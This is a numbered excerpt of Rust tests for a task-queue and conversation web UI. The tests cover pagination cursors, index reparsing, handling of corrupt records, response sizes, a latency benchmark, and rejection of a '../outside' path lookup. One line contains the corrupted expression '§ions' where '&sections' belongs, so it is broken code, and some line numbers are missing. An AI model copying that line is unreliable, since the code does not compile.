23276 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23277 for i in 0..1000 {
23278 let mut task = Task::new(
23279 "unrelated".into(),
23280 "instruction ".repeat(256),
23281 PathBuf::from("/repo"),
23282 Source::Human,
23283 );
23284 task.id = format!("history-{i:04}");
23285 ui.queue.put(&mut task).unwrap();
23286 let id = seed_talk_at(&ui.talks, &task.id, "open");
23287 let mut talk = ui.talks.get(&id).unwrap();
23288 talk.pending = "history ".repeat(256);
23289 ui.talks.put(&mut talk).unwrap();
23290 }
23291 let mut parent = Task::new(
23292 "parent".into(),
23293 "body".into(),
23294 PathBuf::from("/repo"),
23295 Source::Agent {
23296 run: chat_id.clone(),
23297 node: crate::queue::CHAT_NODE.into(),
23298 },
23299 );
23300 parent.id = "task-parent".into();
23301 parent.runs = vec!["run-parent".into()];
23302 ui.queue.put(&mut parent).unwrap();
23303 let mut child = Task::new(
23304 "child".into(),
23305 "body".into(),
23306 PathBuf::from("/repo"),
23307 Source::Human,
23308 );
23309 child.id = "task-child".into();
23310 child.runs = vec!["run-child".into()];
23311 child.followup = Some(crate::queue::FollowUp {
23312 run: "run-parent".into(),
23313 origin_task: Some(parent.id.clone()),
23314 pr: "https://example.invalid/pr/1".into(),
23315 findings: vec![],
23316 generation: 1,
23317 });
23318 ui.queue.put(&mut child).unwrap();
23319 let mut question = Question::new(
23320 child.id.clone(),
23321 crate::conduct::NODE.into(),
23322 "seat".into(),
23323 "Continue?".into(),
23324 String::new(),
23325 vec![],
23326 );
23327 let (tasks, talks, _watches) =
23328 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23329 assert_eq!(tasks.len(), 2);
23330 assert_eq!(talks.len(), 1);
23331 assert_eq!(
23332 ui.monitor.queue_index.lock().unwrap().reparsed,
23333 0,
23334 "exact ancestry bypasses the index"
23335 );
23336 assert_eq!(
23337 crate::consult::origin_talk(&tasks, &talks, &question)
23338 .unwrap()
23339 .id,
23340 chat_id
23341 );
23342 question.run = "run-child".into();
23343 question.node = "review".into();
23344 for origin_task in [Some(parent.id.clone()), None] {
23345 child.followup.as_mut().unwrap().origin_task = origin_task;
23346 ui.queue.put(&mut child).unwrap();
23347 let (tasks, talks, _watches) =
23348 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23349 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23350 let expected =
23351 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23352 .unwrap();
23353 assert_eq!(actual.id, expected.id);
23354 assert!(!actual.status.open());
23355 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23356 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23357 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23360 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23361 }
23362 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23363 ui.queue.put(&mut child).unwrap();
23364 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23365 let (tasks, talks, _watches) =
23366 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23367 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23368 child.origin_chat = Some(chat_id.clone());
23369 ui.queue.put(&mut child).unwrap();
23370 let (tasks, talks, _watches) =
23371 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23372 assert_eq!(
23373 crate::consult::origin_talk(&tasks, &talks, &question)
23374 .unwrap()
23375 .id,
23376 chat_id
23377 );
23378 let revision = question_record_revision(&question);
23379 question.abandon("settled elsewhere");
23380 assert_ne!(revision, question_record_revision(&question));
23381 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23382 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23383 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23384 let (tasks, talks, _watches) =
23385 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23386 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23387 }
23388
23389 #[test]
23390 fn list_cursors_freeze_membership_and_expire_explicitly() {
23391 let home = tempfile::tempdir().unwrap();
23392 let ui = delta_test_ui(home.path());
23393 std::fs::create_dir_all(ui.queue.root()).unwrap();
23394 for i in 0..40 {
23395 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23396 }
23397 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23398 assert_eq!(first.len(), STORE_PAGE_SIZE);
23399 let cursor = cursor.unwrap();
23400 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23401 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23402 let (second, _) = page_ids(
23403 &ui,
23404 false,
23405 PageQuery {
23406 before: Some(cursor.clone()),
23407 },
23408 )
23409 .unwrap();
23410 assert_eq!(second[0], "record-0023");
23411 assert!(second.iter().all(|id| !first.contains(id)));
23412 assert!(
23413 page_ids(
23414 &ui,
23415 true,
23416 PageQuery {
23417 before: Some(cursor.clone())
23418 }
23419 )
23420 .is_err()
23421 );
23422 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23423 assert_eq!(fresh[0], "record-9999");
23424 ui.monitor.list_walks.lock().unwrap().clear();
23425 assert!(
23426 page_ids(
23427 &ui,
23428 false,
23429 PageQuery {
23430 before: Some(cursor)
23431 }
23432 )
23433 .is_err()
23434 );
23435 }
23436
23437 #[tokio::test]
23438 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23439 let home = tempfile::tempdir().unwrap();
23440 let ui = delta_test_ui(home.path());
23441 let mut task = Task::new(
23442 "task".into(),
23443 "body".into(),
23444 PathBuf::from("/repo"),
23445 Source::Human,
23446 );
23447 ui.queue.put(&mut task).unwrap();
23448 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23449 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23450 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23451 let expected = parsed + usize::from(!cfg!(unix));
23452 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23453 task.status = crate::queue::TaskStatus::Held;
23454 ui.queue.put(&mut task).unwrap();
23455 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23456 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23457 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23458 ui.queue.put(&mut task).unwrap();
23459 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23460 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23461 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23462 }
23463
23464 #[tokio::test]
23465 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23466 let home = tempfile::tempdir().unwrap();
23467 let ui = delta_test_ui(home.path());
23468 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23469 let before = health(State(ui.clone())).await.unwrap().0;
23470 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23471 let after = health(State(ui)).await.unwrap().0;
23472 assert_ne!(before.notifications_rev, after.notifications_rev);
23473 assert_eq!(after.notifications_unread, 1);
23474 }
23475
23476 #[tokio::test]
23477 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23478 let home = tempfile::tempdir().unwrap();
23479 let ui = delta_test_ui(home.path());
23480 let queue = &ui.queue;
23481 let talks = &ui.talks;
23482 for i in 0..1000 {
23483 let id = format!("20261019-{i:06}-page");
23484 let mut task = Task::new(
23485 "task".into(),
23486 "instruction".repeat(100),
23487 PathBuf::from("/repo/magi"),
23488 Source::Human,
23489 );
23490 task.id = id.clone();
23491 if i == 0 {
23492 task.status = crate::queue::TaskStatus::Held;
23493 } else if i == 999 {
23494 task.status = crate::queue::TaskStatus::Blocked;
23495 task.blocked_by = vec!["20261019-000000-page".into()];
23496 }
23497 queue.put(&mut task).unwrap();
23498 seed_talk_at(talks, &id, "open");
23499 }
23500 let page = serde_json::to_value(
23501 queue_page(State(ui.clone()), Query(PageQuery::default()))
23502 .await
23503 .unwrap()
23504 .0,
23505 )
23506 .unwrap();
23507 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23508 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23509 assert!(
23510 !page["rows"][0]["stuck_roots"]
23511 .as_array()
23512 .unwrap()
23513 .is_empty()
23514 );
23515 let cursor = page["next"].as_str().unwrap();
23516 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23517 .as_str()
23518 .unwrap();
23519 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23521 let next = serde_json::to_value(
23522 queue_page(
23523 State(ui.clone()),
23524 Query(PageQuery {
23525 before: Some(cursor.into()),
23526 }),
23527 )
23528 .await
23529 .unwrap()
23530 .0,
23531 )
23532 .unwrap();
23533 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23534 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23535 let chats = serde_json::to_value(
23536 talks_page(State(ui.clone()), Query(PageQuery::default()))
23537 .await
23538 .unwrap()
23539 .0,
23540 )
23541 .unwrap();
23542 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23543 assert!(chats["rows"][0].get("pending").is_none());
23544 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23545 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23546 assert_eq!(counts["held"], 1);
23547 assert_eq!(counts["blocked"], 1);
23548 assert_eq!(counts["queued"], 997);
23549 }
23550
23551 #[test]
23552 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23553 let dir = tempfile::tempdir().unwrap();
23554 let ui = delta_test_ui(dir.path());
23555 let mut task = Task::new(
23556 "task".into(),
23557 "body".into(),
23558 PathBuf::from("/repo"),
23559 Source::Human,
23560 );
23561 task.runs = vec!["run-a".into()];
23562 ui.queue.put(&mut task).unwrap();
23563 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23564 task.runs = vec!["run-b".into()];
23565 let path = ui.queue.path_of(&task.id);
23566 let modified = path.metadata().unwrap().modified().unwrap();
23567 let replacement = path.with_extension("replacement");
23568 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23569 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23570 std::fs::write(&replacement, &bytes).unwrap();
23571 std::fs::File::options()
23572 .write(true)
23573 .open(&replacement)
23574 .unwrap()
23575 .set_times(std::fs::FileTimes::new().set_modified(modified))
23576 .unwrap();
23577 std::fs::rename(&replacement, &path).unwrap();
23578 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23579 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23580 std::fs::write(&path, "broken").unwrap();
23581 assert!(ui.find_task_for_run("run-b").is_err());
23582 std::fs::write(&path, bytes).unwrap();
23583 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23584 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23585 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23586 }
23587
23588 #[tokio::test]
23589 async fn conversation_core_is_independent_of_unreadable_related_history() {
23590 let home = tempfile::tempdir().unwrap();
23591 let ui = delta_test_ui(home.path());
23592 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23593 std::fs::create_dir_all(ui.queue.root()).unwrap();
23594 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23595 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23596 .await
23597 .unwrap();
23598 assert_eq!(core.talk.id, id);
23599 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23600 }
23601
23602 #[tokio::test]
23603 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23604 let home = tempfile::tempdir().unwrap();
23605 let ui = delta_test_ui(home.path());
23606 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23607 let mut run = RunState::new(
23608 PathBuf::from("/repo"),
23609 "main".into(),
23610 "01234567".into(),
23611 "Useful run".into(),
23612 Config::default(),
23613 );
23614 run.save_under(home.path()).unwrap();
23615 let mut task = Task::new(
23616 "Related".into(),
23617 "body".into(),
23618 PathBuf::from("/repo"),
23619 Source::Agent {
23620 run: talk_id.clone(),
23621 node: "chat".into(),
23622 },
23623 );
23624 task.runs = vec![run.id.clone()];
23625 ui.queue.put(&mut task).unwrap();
23626 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23627 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23628 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23629 assert!(
23630 run_detail(State(ui.clone()), Path(run.id.clone()))
23631 .await
23632 .is_ok()
23633 );
23634 assert!(
23635 talk_sections(State(ui.clone()), Path(talk_id.clone()))
23636 .await
23637 .is_ok()
23638 );
23639 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23641 assert!(ui.find_task_for_run(&run.id).is_err());
23642 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
23643 ui.queue.put(&mut task).unwrap();
23644 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
23645 }
23646
23647 #[tokio::test]
23648 async fn conversation_sections_omit_large_task_instructions() {
23649 let home = tempfile::tempdir().unwrap();
23650 let ui = delta_test_ui(home.path());
23651 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23652 let mut task = Task::new(
23653 "filed task".into(),
23654 "large instruction ".repeat(65536),
23655 PathBuf::from("/repo"),
23656 Source::Agent {
23657 run: id.clone(),
23658 node: "chat".into(),
23659 },
23660 );
23661 ui.queue.put(&mut task).unwrap();
23662 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
23663 assert_eq!(sections["tasks"][0]["id"], task.id);
23664 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
23665 assert!(sections["tasks"][0].get("instruction").is_none());
23666 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
23667 }
23668
23669 #[test]
23670 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
23671 let home = tempfile::tempdir().unwrap();
23672 let talks = Talks::at(home.path().join("talks"));
23673 seed_talk_at(&talks, "20261019-000001-abcd", "open");
23674 seed_talk_at(&talks, "20261019-000002-abcd", "open");
23675 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
23676 assert!(resolve_talk(&talks, "../outside").is_err());
23677 assert!(resolve_talk(&talks, "abcd").is_err());
23678 assert_eq!(
23679 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
23680 "20261019-000001-abcd"
23681 );
23682 }
23683
23684 include!(concat!(
23685 env!("CARGO_MANIFEST_DIR"),
23686 "/tests/web_latency/baseline.rs"
23687 ));
23688
23689 include!(concat!(
23690 env!("CARGO_MANIFEST_DIR"),
23691 "/tests/web_latency/lists.rs"
23692 ));
23693
23694 #[tokio::test]
23695 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
23696 async fn web_history_latency_measurement() {
23697 use std::time::Instant;
23698 let home = tempfile::tempdir().unwrap();
23699 let ui = delta_test_ui(home.path());
23700 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23701 let mut template = ui.talks.get(&id).unwrap();
23702 template.turns = serde_json::from_value(serde_json::json!([{
23703 "who": "operator", "body": "Show the accumulated work and its current status.",
23704 "at": Timestamp::now().to_string(),
23705 }]))
23706 .unwrap();
23707 std::fs::write(
23708 ui.talks.path_of(&id),
23709 serde_json::to_vec(&template).unwrap(),
23710 )
23711 .unwrap();
23712 let count = std::env::var("MAGI_BENCH_RECORDS")
23713 .ok()
23714 .and_then(|s| s.parse::<usize>().ok())
23715 .unwrap_or(1000);
23716 for i in 0..count {
23717 template.id = format!("20261019-{i:06}-history");
23718 template.pending = "history ".repeat(2048);
23719 std::fs::write(
23720 ui.talks.path_of(&template.id),
23721 serde_json::to_vec(&template).unwrap(),
23722 )
23723 .unwrap();
23724 let mut task = Task::new(
23725 "old task".into(),
23726 "instruction ".repeat(2048),
23727 PathBuf::from("/repo"),
23728 Source::Human,
23729 );
23730 task.id = format!("20261019-{i:06}-task");
23731 ui.queue.put(&mut task).unwrap();
23732 }
23733 for baseline in [true, false] {
23734 for clients in [1, 4] {
23735 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
23736 let mut samples = Vec::new();
23737 for _ in 0..12 {
23738 let mut jobs = Vec::new();
23739 for _ in 0..clients {
23740 let ui = ui.clone();
23741 let id = id.clone();
23742 jobs.push(tokio::spawn(async move {
23743 let start = Instant::now();
23744 if baseline {
23745 let response =
23746 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
23747 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
23748 return (
23749 elapsed,
23750 elapsed,
23751 serde_json::to_vec(&response).unwrap().len(),
23752 );
23753 }
23754 let core = talk_core(State(ui.clone()), Path(id.clone()));
23755 let secondary = talk_sections(State(ui), Path(id));
23756 let (first, total) = tokio::join!(
23757 async {
23758 let value = core.await.unwrap().0;
23759 (
23760 start.elapsed().as_secs_f64() * 1000.0,
23761 serde_json::to_vec(&value).unwrap().len(),
23762 )
23763 },
23764 async {
23765 let value = secondary.await.unwrap().0;
23766 (
23767 start.elapsed().as_secs_f64() * 1000.0,
23768 serde_json::to_vec(&value).unwrap().len(),
23769 )
23770 }
23771 );
23772 (first.0, first.0.max(total.0), first.1 + total.1)
23773 }));
23774 }
23775 for job in jobs {
23776 samples.push(job.await.unwrap());
23777 }
23778 }
23779 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
23780 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
23781 first.sort_by(f64::total_cmp);
23782 total.sort_by(f64::total_cmp);
23783 let n = first.len();
23784 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
23785 println!(
23786 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
23787 first[n / 2],
23788 first[(n * 95 / 100).min(n - 1)],
23789 total[n / 2],
23790 total[(n * 95 / 100).min(n - 1)],
23791 samples[0].2
23792 );
23793 }
23794 }
23795 }
23796
23797 #[test]
23798 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
23799 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
23801 assert!(APP_JS.contains("function nextRunRequest(id)"));
23802 assert!(APP_JS.contains("function runShell(id, summary)"));
23803 assert!(APP_JS.contains("function nextTaskRequest(id)"));
23804 assert!(APP_JS.contains("function taskShell(id, summary)"));
23805 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
23806 }
23807}